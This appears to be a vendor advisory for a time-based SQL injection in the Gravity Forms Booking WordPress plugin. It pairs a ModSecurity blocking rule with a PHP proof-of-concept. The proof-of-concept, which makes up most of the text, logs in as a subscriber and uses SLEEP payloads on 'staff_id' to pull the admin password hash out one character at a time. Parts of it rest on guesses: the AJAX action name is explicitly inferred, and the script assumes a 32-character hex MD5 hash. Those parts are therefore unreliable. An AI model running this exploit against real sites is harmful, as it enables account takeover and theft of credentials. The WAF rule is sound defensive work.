CVE-2026-2508: Gravity Forms Booking <= 2.7.1 Authenticated (Subscriber+) Time-Based SQL Injection via 'staff_id' PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-2508 (metadata-based)
# Block time-based SQL injection attempts via staff_id parameter in Gravity Forms Booking AJAX handler
# Targets the identifiable AJAX action and parameter pattern
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20262508,phase:2,deny,status:403,chain,msg:'CVE-2026-2508 - Gravity Forms Booking Time-Based SQLi via staff_id',severity:'CRITICAL',tag:'CVE-2026-2508'"
  SecRule ARGS_POST:action "@streq gf_bookings_get_staff" "chain"
    SecRule ARGS_POST:staff_id "@rx (?i)(sleep|benchmark|waitfor|delay|pg_sleep|SLEEP|BENCHMARK|WAITFOR)" 
      "t:lowercase,t:urlDecode"

# Note: The action name 'gf_bookings_get_staff' is an inferred value. If the actual action differs,
# adjust the @streq value accordingly. The regex targets common time-based SQL injection keywords.
# This rule may produce false positives if legitimate staff_id values contain these keywords (unlikely).

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2508 - Gravity Forms Booking <= 2.7.1 - Authenticated (Subscriber+) Time-Based SQL Injection via 'staff_id'

// Configurable target
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'attacker';
$password = 'password'; // Subscriber-level credentials

// Login to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Infer the AJAX action from plugin patterns (common for Gravity Forms extensions)
// The action is likely 'gf_bookings_get_staff' or 'gf_bookings_ajax_staff'
$ajax_action = 'gf_bookings_get_staff'; // Adjust based on plugin behavior

// Target AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: time-based SQL injection to extract admin user hash
// The 'staff_id' parameter is the vulnerable input
// We use SLEEP() to detect true/false conditions

// Extract the first character of the admin user_pass hash
$extracted_hash = '';
$chars = '0123456789abcdef';
for ($position = 1; $position <= 32; $position++) { // MD5 hash length
    for ($i = 0; $i < strlen($chars); $i++) {
        $char = $chars[$i];
        // Blind SQL injection payload using time-based technique
        // Injects into an existing query: original query likely: SELECT * FROM table WHERE staff_id = [input]
        $payload = "1 AND (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login = 'admin'),$position,1) = '$char', SLEEP(1), 0))";
        
        $post_fields = array(
            'action' => $ajax_action,
            'staff_id' => $payload,
            'nonce' => '' // Nonce may be required or absent due to vulnerability
        );
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $ajax_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
        curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $start = microtime(true);
        $response = curl_exec($ch);
        $end = microtime(true);
        $duration = $end - $start;
        curl_close($ch);
        
        // If response took >= 1 second, character matched
        if ($duration >= 1) {
            $extracted_hash .= $char;
            echo "Found character $position: $char (current hash: $extracted_hash)n";
            break;
        }
    }
}

echo "Extracted admin hash: $extracted_hashn";

// Note: This PoC assumes the admin user exists with login 'admin' and the hash is MD5.
// Adjust the substring and table names based on WordPress table prefix (usually wp_)
// The actual table prefix may vary (e.g., wp_users vs wp3_users)
?>